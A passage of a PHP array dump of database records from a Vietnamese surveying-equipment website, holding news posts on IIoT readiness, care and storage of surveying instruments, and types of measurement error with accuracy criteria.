rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng 